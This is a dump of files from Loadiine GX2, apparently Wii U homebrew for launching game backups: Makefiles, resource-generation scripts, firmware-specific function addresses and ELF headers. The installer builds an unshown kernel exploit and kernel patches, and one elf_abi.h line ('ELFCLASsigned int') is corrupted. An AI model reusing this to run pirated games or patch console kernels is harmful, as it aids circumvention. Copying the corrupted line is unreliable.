\\\n\t\t\t\tsrc/loader \\\n\t\t\t\tsrc/menu \\\n\t\t\t\tsrc/network \\\n\t\t\t\tsrc/patcher \\\n\t\t\t\tsrc/resources \\\n\t\t\t\tsrc/settings \\\n\t\t\t\tsrc/sounds \\\n\t\t\t\tsrc/system \\\n\t\t\t\tsrc/utils \\\n\t\t\t\tsrc/video \\\n\t\t\t\tsrc/video/shaders \\\n\t\t\t\tsrc/controller_patcher \\\n\t\t\t\tsrc/controller_patcher/config \\\n\t\t\t\tsrc/controller_patcher/network \\\n\t\t\t\tsrc/controller_patcher/patcher \\\n\t\t\t\tsrc/controller_patcher/utils\nDATA\t\t:=\tdata \\\n\t\t\t\tdata/images \\\n\t\t\t\tdata/fonts \\\n\t\t\t\tdata/sounds\n\nINCLUDES\t:=  src\n\n#---------------------------------------------------------------------------------\n# options for code generation\n#---------------------------------------------------------------------------------\nCFLAGS\t:=  -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \\\n\t\t    -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)\nCXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \\\n\t\t    -O3 -Wall -Wextra -Wno-unused-parameter -D_GNU_SOURCE -Wno-strict-aliasing $(INCLUDE)\nASFLAGS\t:= -mregnames\nLDFLAGS\t:= -nostartfiles -Wl,-Map,$(notdir $@).map,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,--gc-sections\n\n#---------------------------------------------------------------------------------\nQ := @\nMAKEFLAGS += --no-print-directory\n#---------------------------------------------------------------------------------\n# any extra libraries we wish to link with the project\n#---------------------------------------------------------------------------------\nLIBS\t:= -lgcc -lgd -lpng -ljpeg -lz -lfreetype -lmad -lvorbisidec\n\n#---------------------------------------------------------------------------------\n# list of directories containing libraries, this must be the top level containing\n# include and lib\n#---------------------------------------------------------------------------------\nLIBDIRS\t:=\t$(CURDIR)\t\\\n\t\t\t$(DEVKITPPC)/lib  \\\n\t\t\t$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2\n\n\n#---------------------------------------------------------------------------------\n# no real need to edit anything past this point unless you need to add additional\n# rules for different file extensions\n#---------------------------------------------------------------------------------\nifneq ($(BUILD),$(notdir $(CURDIR)))\n#---------------------------------------------------------------------------------\nexport PROJECTDIR := $(CURDIR)\nexport OUTPUT\t:=\t$(CURDIR)/$(TARGETDIR)/$(TARGET)\nexport VPATH\t:=\t$(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \\\n\t\t\t\t\t$(foreach dir,$(DATA),$(CURDIR)/$(dir))\nexport DEPSDIR\t:=\t$(CURDIR)/$(BUILD)\n\n#---------------------------------------------------------------------------------\n# automatically build a list of object files for our project\n#---------------------------------------------------------------------------------\nFILELIST\t\t:=\t$(shell bash ./filelist.sh)\nGIT_REV\t\t\t:=\t$(shell bash ./gitrev.sh)\nLANGUAGES\t    :=\t$(shell bash ./updatelang.sh)\nexport CFILES\t:=\t$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))\nexport CPPFILES\t:=\t$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))\nexport HFILES\t:=\t$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.h)))\nsFILES\t\t\t:=\t$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))\nSFILES\t\t\t:=\t$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S)))\nBINFILES\t\t:=\t$(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))\nTTFFILES\t\t:=\t$(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf)))\nPNGFILES\t\t:=\t$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png)))\n\n#---------------------------------------------------------------------------------\n# use CXX for linking C++ projects, CC for standard C\n#---------------------------------------------------------------------------------\nifeq ($(strip $(CPPFILES)),)\n\texport LD\t:=\t$(CC)\nelse\n\texport LD\t:=\t$(CXX)\nendif\n\nexport OFILES\t:=\t$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \\\n\t\t\t\t\t$(sFILES:.s=.o) $(SFILES:.S=.o) \\\n\t\t\t\t\t$(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES))\n\n#---------------------------------------------------------------------------------\n# build a list of include paths\n#---------------------------------------------------------------------------------\nexport INCLUDE\t:=\t$(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \\\n\t\t\t\t\t$(foreach dir,$(LIBDIRS),-I$(dir)/include) \\\n\t\t\t\t\t-I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \\\n\t\t\t\t\t-I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2\n\n#---------------------------------------------------------------------------------\n# build a list of library paths\n#---------------------------------------------------------------------------------\nexport LIBPATHS\t:=\t$(foreach dir,$(LIBDIRS),-L$(dir)/lib) \\\n\t\t\t\t\t-L$(LIBOGC_LIB) -L$(PORTLIBS)/lib\n\nexport OUTPUT\t\t:=\t$(CURDIR)/$(TARGET)\n.PHONY: $(BUILD) clean install lang\n\n#---------------------------------------------------------------------------------\n$(BUILD):\n\t@[ -d $@ ] || mkdir -p $@\n\t@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile\n\n#---------------------------------------------------------------------------------\nclean:\n\t@echo clean ...\n\t@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf\n\n#---------------------------------------------------------------------------------\nlang:\n\t@[ -d build ] || mkdir -p build\n\t@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile translations\n\n#---------------------------------------------------------------------------------\nelse\n\nDEPENDS\t:=\t$(OFILES:.o=.d)\n\n#---------------------------------------------------------------------------------\n# main targets\n#---------------------------------------------------------------------------------\n$(OUTPUT).elf:  $(OFILES)\n\n#---------------------------------------------------------------------------------\n# Translation files\n#---------------------------------------------------------------------------------\ntranslations: $(wildcard $(PROJECTDIR)/languages/*.lang)\n\n#---------------------------------------------------------------------------------\n# This rule links in binary data with the .jpg extension\n#---------------------------------------------------------------------------------\n%.elf: link.ld $(OFILES)\n\t@echo \"linking ... $(TARGET).elf\"\n\t$(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf  $(LIBPATHS) $(LIBS)\n\t$(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@\n\n#---------------------------------------------------------------------------------\n%.a:\n#---------------------------------------------------------------------------------\n\t@echo $(notdir $@)\n\t@rm -f $@\n\t@$(AR) -rc $@ $^\n\n#---------------------------------------------------------------------------------\n%.o: %.cpp\n\t@echo $(notdir $<)\n\t@$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER)\n\n#---------------------------------------------------------------------------------\n%.o: %.c\n\t@echo $(notdir $<)\n\t@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER)\n\n#---------------------------------------------------------------------------------\n%.o: %.S\n\t@echo $(notdir $<)\n\t@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER)\n\n#---------------------------------------------------------------------------------\n%.png.o : %.png\n\t@echo $(notdir $<)\n\t@bin2s -a 32 $< | $(AS) -o $(@)\n\n#---------------------------------------------------------------------------------\n%.jpg.o : %.jpg\n\t@echo $(notdir $<)\n\t@bin2s -a 32 $< | $(AS) -o $(@)\n\n#---------------------------------------------------------------------------------\n%.ttf.o : %.ttf\n\t@echo $(notdir $<)\n\t@bin2s -a 32 $< | $(AS) -o $(@)\n\n#---------------------------------------------------------------------------------\n%.bin.o : %.bin\n\t@echo $(notdir $<)\n\t@bin2s -a 32 $< | $(AS) -o $(@)\n\n#---------------------------------------------------------------------------------\n%.wav.o : %.wav\n\t@echo $(notdir $<)\n\t@bin2s -a 32 $< | $(AS) -o $(@)\n\n#---------------------------------------------------------------------------------\n%.mp3.o : %.mp3\n\t@echo $(notdir $<)\n\t@bin2s -a 32 $< | $(AS) -o $(@)\n\n#---------------------------------------------------------------------------------\n%.ogg.o : %.ogg\n\t@echo $(notdir $<)\n\t@bin2s -a 32 $< | $(AS) -o $(@)\n\n\n#---------------------------------------------------------------------------------\nexport PATH\t\t:=\t$(PROJECTDIR)/gettext-bin:$(PATH)\n\n%.pot: $(CFILES) $(CPPFILES) $(HFILES)\n\t@echo Updating language files ...\n\t@touch $(PROJECTDIR)/languages/$(TARGET).pot\n\t@xgettext -C -cTRANSLATORS --from-code=utf-8 -F --no-wrap --add-location -ktr -ktrNOOP -o$(PROJECTDIR)/languages/$(TARGET).pot -p $@ $^\n\n%.lang: $(PROJECTDIR)/languages/$(TARGET).pot\n\t@msgmerge -U -N --no-wrap --no-location --backup=none -q $@ $<\n\t@touch $@\n\n#---------------------------------------------------------------------------------\n\n-include $(DEPENDS)\n\n#---------------------------------------------------------------------------------\nendif\n#---------------------------------------------------------------------------------\n"
  },
  {
    "path": "Readme.md",
    "content": "# Loadiine GX2\n[![Build Status](https://travis-ci.org/dimok789/loadiine_gx2.svg?branch=master)](https://travis-ci.org/dimok789/loadiine_gx2)\n---\n[Current Stable Release](https://github.com/dimok789/loadiine_gx2/releases/tag/v0.2) | [Nightly builds](https://github.com/dimok789/loadiine_gx2/releases) | [Issue Tracker](https://github.com/dimok789/loadiine_gx2/issues) | [Support Thread](https://gbatemp.net/threads/loadiine-gx2.413823/)\n\n### What is Loadiine GX2? ###\nLoadiine is a WiiU homebrew. It launches WiiU game backups from SD card.\nIts Graphical User Interface is based on the WiiU GX2 graphics engine.\n\n### How do I use this? ###\nAll information about how this works and what is required to do for it to work is written on the following [support thread](https://gbatemp.net/threads/loadiine-gx2.413823/).\n\n### How to build? ###\n#### Main Application ####\nTo build the main application devkitPPC is required as well as some additionally libraries. Download the libogc and portlibs packages from the release pages and put them in your devkitPro path. Replace any existing files. If not yet done export the path of devkitPPC and devkitPRO to the evironment variables DEVKITPRO and DEVKITPPC.\nAll remaining is to enter the main application path and enter \"make\". You should get a loadiine_gx2.elf and a loadiine_gx2_dbg.elf in the main path.\n\n#### Installer Application ####\nTo compile the installer application enter the \"installer\" path on the source code and type \"make\".\n\n### Credits ###\n* Dimok\n* Cyan\n* Maschell\n* n1ghty\n* dibas\n* The anonymous graphics dude (he knows who is ment)\n* and several more contributers\n\n\n---"
  },
  {
    "path": "filelist.sh",
    "content": "#! /bin/bash\n#\n# Automatic resource file list generation\n# Created by Dimok\n\noutFile=\"./src/resources/filelist.h\"\ncount_old=$(cat $outFile 2>/dev/null | tr -d '\\n\\n' | sed 's/[^0-9]*\\([0-9]*\\).*/\\1/')\n\ncount=0\nif [[ $OSTYPE == darwin* ]];\nthen\n\nfor i in $(gfind ./data/images/ ./data/sounds/ ./data/fonts/ -maxdepth 1 -type f  \\( ! -printf \"%f\\n\" \\) | sort -f)\ndo\n\tfiles[count]=$i\n\tcount=$((count+1))\ndone\n\nelse\n\nfor i in $(find ./data/images/ ./data/sounds/ ./data/fonts/ -maxdepth 1 -type f  \\( ! -printf \"%f\\n\" \\) | sort -f)\ndo\n\tfiles[count]=$i\n\tcount=$((count+1))\ndone\n\nfi\n\nif [ \"$count_old\" != \"$count\" ] || [ ! -f $outFile ]\nthen\n\necho \"Generating filelist.h for $count files.\" >&2\ncat <<EOF > $outFile\n/****************************************************************************\n * Loadiine resource files.\n * This file is generated automatically.\n * Includes $count files.\n *\n * NOTE:\n * Any manual modification of this file will be overwriten by the generation.\n ****************************************************************************/\n#ifndef _FILELIST_H_\n#define _FILELIST_H_\n\n#include <gctypes.h>\n\ntypedef struct _RecourceFile\n{\n\tconst char *filename;\n\tconst u8   *DefaultFile;\n\tconst u32  &DefaultFileSize;\n\tu8\t\t   *CustomFile;\n\tu32\t\t    CustomFileSize;\n} RecourceFile;\n\nEOF\n\nfor i in ${files[@]}\ndo\n\tfilename=${i%.*}\n\textension=${i##*.}\n\techo 'extern const u8 '$filename'_'$extension'[];' >> $outFile\n\techo 'extern const u32 '$filename'_'$extension'_size;' >> $outFile\n\techo '' >> $outFile\ndone\n\necho 'static RecourceFile RecourceList[] =' >> $outFile\necho '{' >> $outFile\n\nfor i in ${files[@]}\ndo\n\tfilename=${i%.*}\n\textension=${i##*.}\n\techo -e '\\t{\"'$i'\", '$filename'_'$extension', '$filename'_'$extension'_size, NULL, 0},' >> $outFile\ndone\n\necho -e '\\t{NULL, NULL, 0, NULL, 0}' >> $outFile\necho '};' >> $outFile\n\necho '' >> $outFile\necho '#endif' >> $outFile\n\nfi\n"
  },
  {
    "path": "gitrev.sh",
    "content": "#! /bin/bash\n#\nrev_new=$(git rev-parse --short=7 HEAD)\n\nrev_old=$(cat ./src/gitrev.c 2>/dev/null | tr -d '\\n' | awk -F\"\\\"\" '{print $2}' | awk -F\"\\\"\" '{print $1}')\n\n\nif [ \"$rev_new\" != \"$rev_old\" ] || [ ! -f ./src/gitrev.c ]; then\n\n\tif [ -n \"$rev_new\" ]; then\n\t\techo \"Changed Rev $rev_old to $rev_new\" >&2\n\tfi\n\n    cat <<EOF > ./src/gitrev.c\n#define GIT_REV \"$rev_new\"\n\nconst char *GetRev()\n{\n\treturn GIT_REV;\n}\nEOF\n\n    rev_date=`date -u +%Y%m%d%H%M%S`\n\n    cat <<EOF > ./meta/meta.xml\n<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<app version=\"1\">\n  <name>Loadiine GX2</name>\n  <coder>Dimok, Maschell, n1ghty, dibas</coder>\n  <version>0.3 r$rev_new</version>\n  <release_date>$rev_date</release_date>\n  <short_description>WiiU game loader</short_description>\n  <long_description>Loads games from SD card.\n\n  Compatibility list:\n  http://wiki.gbatemp.net/wiki/Loadiine_compatibility_list\n\n  Sources:\n  https://github.com/dimok789/loadiine_gx2\n  </long_description>\n</app>\nEOF\n\nfi\n\necho $rev_new\n"
  },
  {
    "path": "installer/Makefile",
    "content": "PATH := $(DEVKITPPC)/bin:$(PATH)\nPREFIX ?= powerpc-eabi-\nCC = $(PREFIX)gcc\nAS = $(PREFIX)gcc\nCFLAGS = -std=gnu99 -Os -nostdinc -fno-builtin\nASFLAGS = -mregnames -x assembler-with-cpp\nLD = $(PREFIX)ld\nLDFLAGS=-Ttext 1800000 --oformat binary -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.3.0 -lgcc\nOBJDUMP ?= $(PREFIX)objdump\nproject\t:=\t.\nroot\t:=\t$(CURDIR)\nbuild\t:=\t $(root)/bin\n\nsd_loader_elf := ../sd_loader/sd_loader.elf\n\nCFLAGS += -DUSE_SD_LOADER\nASFLAGS += -DUSE_SD_LOADER\n\nall: clean setup main532 main550 main500 main410 main400 main310 main300\n\nsd_loader.h: $(sd_loader_elf)\n\txxd -i $< | sed \"s/unsigned/static const unsigned/g;s/loader/loader/g;s/build_//g\" > $@\n\n$(sd_loader_elf):\n\tmake -C ../sd_loader\n\t\nsetup:\n\tmkdir -p $(root)/bin/\n\nmain550:\n\tmake main FIRMWARE=550\n\nmain540:\n\tmake main FIRMWARE=532\n\nmain532:\n\tmake main FIRMWARE=532\n\nmain500:\n\tmake main FIRMWARE=500\n\nmain410:\n\tmake main FIRMWARE=410\n\nmain400:\n\tmake main FIRMWARE=400\n\nmain310:\n\tmake main FIRMWARE=310\n\nmain300:\n\tmake main FIRMWARE=300\n\nmain210:\n\tmake main FIRMWARE=210\n\nmain200:\n\tmake main FIRMWARE=200\n\nmain: sd_loader.h\n\t$(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/launcher.c\n\t$(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/kexploit.c\n\t$(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/kernel_patches.S\n\t$(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S\n\tcp -r $(root)/*.o $(build)\n\trm $(root)/*.o\n\t$(LD) -s -o $(build)/code$(FIRMWARE).bin $(build)/crt0.o `find $(build) -name \"*.o\" ! -name \"crt0.o\"` $(LDFLAGS)\n\nclean:\n\trm -rf $(build)\n\trm -rf sd_loader.h\n\nprint_stats:\n\t@echo\n\t@echo \"code size : loadiine   =>\" `$(OBJDUMP) -h ../loadiine.elf | awk '/.kernel_code|.text|.menu_magic|.loader_magic|.fs_method_calls|.rodata|.data|.sdata|.bss|.sbss|.fs_magic/ { sum+=strtonum(\"0x\"$$3) } END {print sum}'` / 7530312\n"
  },
  {
    "path": "installer/coreinit.h",
    "content": "#ifndef COREINIT_H\n#define COREINIT_H\n\n#include \"types.h\"\n\n#if (VER==200)\n#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x010220AC)\n#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x01022D98)\n#define OSFatal ((void (*)(char* msg))0x01027688)\n#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x01025FB4)\n#elif (VER==210)\n#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102232C)\n#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x01023018)\n#define OSFatal ((void (*)(char* msg))0x01027908)\n#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x01026014)\n#elif (VER==300) | (VER==310)\n#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x01022CBC)\n#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x01023D88)\n#define OSFatal ((void (*)(char* msg))0x01028A68)\n#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x01027390)\n#elif (VER==400) | (VER==410)\n#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x01026e60)\n#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x01028460)\n#define OSFatal ((void (*)(char* msg))0x0102D01C)\n#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102b9ac)\n#elif VER==500\n#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x01029CD8)\n#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B3E4)\n#define OSFatal ((void (*)(char* msg))0x01030ECC)\n#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102ECE0)\n#elif (VER==532) | (VER==540)\n#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x102a31c)\n#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x102b790)\n#define OSFatal ((void (*)(char* msg))0x1031368)\n#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x102f09c)\n#elif VER==550\n#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4)\n#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828)\n#define OSFatal ((void (*)(char* msg))0x01031618)\n#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160)\n#else\n#error \"Unsupported Wii U software version\"\n#endif\n\n/* ioctlv() I/O vector */\nstruct iovec\n{\n\tvoid *buffer;\n\tint len;\n\tchar unknown8[0xc-0x8];\n};\n\ntypedef struct OSContext\n{\n\t/* OSContext identifier */\n    uint32_t tag1;\n    uint32_t tag2;\n\n    /* GPRs */\n    uint32_t gpr[32];\n\n\t/* Special registers */\n    uint32_t cr;\n    uint32_t lr;\n    uint32_t ctr;\n    uint32_t xer;\n\n    /* Initial PC and MSR */\n    uint32_t srr0;\n    uint32_t srr1;\n} OSContext;\n\n#endif /* COREINIT_H */"
  },
  {
    "path": "installer/crt0.S",
    "content": ".extern __main\n    .globl _start\n_start:\n    # load proper stack\n    lis r1, 0x1ab5\n    ori r1, r1, 0xd138\n    # jump to our main\n    bl __main\n"
  },
  {
    "path": "installer/elf_abi.h",
    "content": "/*\n * Copyright (c) 1995, 1996, 2001, 2002\n * Erik Theisen.  All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and/or other materials provided with the distribution.\n * 3. The name of the author may not be used to endorse or promote products\n *    derived from this software without specific prior written permission\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n/*\n * This is the ELF ABI header file\n * formerly known as \"elf_abi.h\".\n */\n\n#ifndef _ELF_ABI_H\n#define _ELF_ABI_H\n\n/*\n *  This version doesn't work for 64-bit ABIs - Erik.\n */\n\n/*\n * These typedefs need to be handled better.\n */\ntypedef unsigned int\tElf32_Addr;\t/* Unsigned program address */\ntypedef unsigned int\tElf32_Off;\t/* Unsigned file offset */\ntypedef signed int\tElf32_Sword;\t/* Signed large integer */\ntypedef unsigned int\tElf32_Word;\t/* Unsigned large integer */\ntypedef unsigned short\tElf32_Half;\t/* Unsigned medium integer */\n\n/* e_ident[] identification indexes */\n#define EI_MAG0\t\t0\t\t/* file ID */\n#define EI_MAG1\t\t1\t\t/* file ID */\n#define EI_MAG2\t\t2\t\t/* file ID */\n#define EI_MAG3\t\t3\t\t/* file ID */\n#define EI_CLASS\t4\t\t/* file class */\n#define EI_DATA\t\t5\t\t/* data encoding */\n#define EI_VERSION\t6\t\t/* ELF header version */\n#define EI_OSABI\t7\t\t/* OS/ABI specific ELF extensions */\n#define EI_ABIVERSION\t8\t\t/* ABI target version */\n#define EI_PAD\t\t9\t\t/* start of pad bytes */\n#define EI_NIDENT\t16\t\t/* Size of e_ident[] */\n\n/* e_ident[] magic number */\n#define\tELFMAG0\t\t0x7f\t\t/* e_ident[EI_MAG0] */\n#define\tELFMAG1\t\t'E'\t\t/* e_ident[EI_MAG1] */\n#define\tELFMAG2\t\t'L'\t\t/* e_ident[EI_MAG2] */\n#define\tELFMAG3\t\t'F'\t\t/* e_ident[EI_MAG3] */\n#define\tELFMAG\t\t\"\\177ELF\"\t/* magic */\n#define\tSELFMAG\t\t4\t\t/* size of magic */\n\n/* e_ident[] file class */\n#define\tELFCLASSNONE\t0\t\t/* invalid */\n#define\tELFCLASsigned int\t1\t\t/* 32-bit objs */\n#define\tELFCLASS64\t2\t\t/* 64-bit objs */\n#define\tELFCLASSNUM\t3\t\t/* number of classes */\n\n/* e_ident[] data encoding */\n#define ELFDATANONE\t0\t\t/* invalid */\n#define ELFDATA2LSB\t1\t\t/* Little-Endian */\n#define ELFDATA2MSB\t2\t\t/* Big-Endian */\n#define ELFDATANUM\t3\t\t/* number of data encode defines */\n\n/* e_ident[] OS/ABI specific ELF extensions */\n#define ELFOSABI_NONE\t\t0\t/* No extension specified */\n#define ELFOSABI_HPUX\t\t1\t/* Hewlett-Packard HP-UX */\n#define ELFOSABI_NETBSD\t\t2\t/* NetBSD */\n#define ELFOSABI_LINUX\t\t3\t/* Linux */\n#define ELFOSABI_SOLARIS\t6\t/* Sun Solaris */\n#define ELFOSABI_AIX\t\t7\t/* AIX */\n#define ELFOSABI_IRIX\t\t8\t/* IRIX */\n#define ELFOSABI_FREEBSD\t9\t/* FreeBSD */\n#define ELFOSABI_TRU64\t\t10\t/* Compaq TRU64 UNIX */\n#define ELFOSABI_MODESTO\t11\t/* Novell Modesto */\n#define ELFOSABI_OPENBSD\t12\t/* OpenBSD */\n/* 64-255 Architecture-specific value range */\n\n/* e_ident[] ABI Version */\n#define ELFABIVERSION\t\t0\n\n/* e_ident */\n#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \\\n                      (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \\\n                      (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \\\n                      (ehdr).e_ident[EI_MAG3] == ELFMAG3)\n\n/* ELF Header */\ntypedef struct elfhdr{\n\tunsigned char\te_ident[EI_NIDENT]; /* ELF Identification */\n\tElf32_Half\te_type;\t\t/* object file type */\n\tElf32_Half\te_machine;\t/* machine */\n\tElf32_Word\te_version;\t/* object file version */\n\tElf32_Addr\te_entry;\t/* virtual entry point */\n\tElf32_Off\te_phoff;\t/* program header table offset */\n\tElf32_Off\te_shoff;\t/* section header table offset */\n\tElf32_Word\te_flags;\t/* processor-specific flags */\n\tElf32_Half\te_ehsize;\t/* ELF header size */\n\tElf32_Half\te_phentsize;\t/* program header entry size */\n\tElf32_Half\te_phnum;\t/* number of program header entries */\n\tElf32_Half\te_shentsize;\t/* section header entry size */\n\tElf32_Half\te_shnum;\t/* number of section header entries */\n\tElf32_Half\te_shstrndx;\t/* section header table's \"section\n\t\t\t\t\t   header string table\" entry offset */\n} Elf32_Ehdr;\n\n/* e_type */\n#define ET_NONE\t\t0\t\t/* No file type */\n#define ET_REL\t\t1\t\t/* relocatable file */\n#define ET_EXEC\t\t2\t\t/* executable file */\n#define ET_DYN\t\t3\t\t/* shared object file */\n#define ET_CORE\t\t4\t\t/* core file */\n#define ET_NUM\t\t5\t\t/* number of types */\n#define ET_LOOS\t\t0xfe00\t\t/* reserved range for operating */\n#define ET_HIOS\t\t0xfeff\t\t/*  system specific e_type */\n#define ET_LOPROC\t0xff00\t\t/* reserved range for processor */\n#define ET_HIPROC\t0xffff\t\t/*  specific e_type */\n\n/* e_machine */\n#define EM_NONE\t\t0\t\t/* No Machine */\n#define EM_M32\t\t1\t\t/* AT&T WE 32100 */\n#define EM_SPARC\t2\t\t/* SPARC */\n#define EM_386\t\t3\t\t/* Intel 80386 */\n#define EM_68K\t\t4\t\t/* Motorola 68000 */\n#define EM_88K\t\t5\t\t/* Motorola 88000 */\n#if 0\n#define EM_486\t\t6\t\t/* RESERVED - was Intel 80486 */\n#endif\n#define EM_860\t\t7\t\t/* Intel 80860 */\n#define EM_MIPS\t\t8\t\t/* MIPS R3000 Big-Endian only */\n#define EM_S370\t\t9\t\t/* IBM System/370 Processor */\n#define EM_MIPS_RS4_BE\t10\t\t/* MIPS R4000 Big-Endian */\n#if 0\n#define EM_SPARC64\t11\t\t/* RESERVED - was SPARC v9\n\t\t\t\t\t     64-bit unoffical */\n#endif\n/* RESERVED 11-14 for future use */\n#define EM_PARISC\t15\t\t/* HPPA */\n/* RESERVED 16 for future use */\n#define EM_VPP500\t17\t\t/* Fujitsu VPP500 */\n#define EM_SPARC32PLUS\t18\t\t/* Enhanced instruction set SPARC */\n#define EM_960\t\t19\t\t/* Intel 80960 */\n#define EM_PPC\t\t20\t\t/* PowerPC */\n#define EM_PPC64\t21\t\t/* 64-bit PowerPC */\n#define EM_S390\t\t22\t\t/* IBM System/390 Processor */\n/* RESERVED 23-35 for future use */\n#define EM_V800\t\t36\t\t/* NEC V800 */\n#define EM_FR20\t\t37\t\t/* Fujitsu FR20 */\n#define EM_RH32\t\t38\t\t/* TRW RH-32 */\n#define EM_RCE\t\t39\t\t/* Motorola RCE */\n#define EM_ARM\t\t40\t\t/* Advanced Risc Machines ARM */\n#define EM_ALPHA\t41\t\t/* Digital Alpha */\n#define EM_SH\t\t42\t\t/* Hitachi SH */\n#define EM_SPARCV9\t43\t\t/* SPARC Version 9 */\n#define EM_TRICORE\t44\t\t/* Siemens TriCore embedded processor */\n#define EM_ARC\t\t45\t\t/* Argonaut RISC Core */\n#define EM_H8_300\t46\t\t/* Hitachi H8/300 */\n#define EM_H8_300H\t47\t\t/* Hitachi H8/300H */\n#define EM_H8S\t\t48\t\t/* Hitachi H8S */\n#define EM_H8_500\t49\t\t/* Hitachi H8/500 */\n#define EM_IA_64\t50\t\t/* Intel Merced */\n#define EM_MIPS_X\t51\t\t/* Stanford MIPS-X */\n#define EM_COLDFIRE\t52\t\t/* Motorola Coldfire */\n#define EM_68HC12\t53\t\t/* Motorola M68HC12 */\n#define EM_MMA\t\t54\t\t/* Fujitsu MMA Multimedia Accelerator*/\n#define EM_PCP\t\t55\t\t/* Siemens PCP */\n#define EM_NCPU\t\t56\t\t/* Sony nCPU embeeded RISC */\n#define EM_NDR1\t\t57\t\t/* Denso NDR1 microprocessor */\n#define EM_STARCORE\t58\t\t/* Motorola Start*Core processor */\n#define 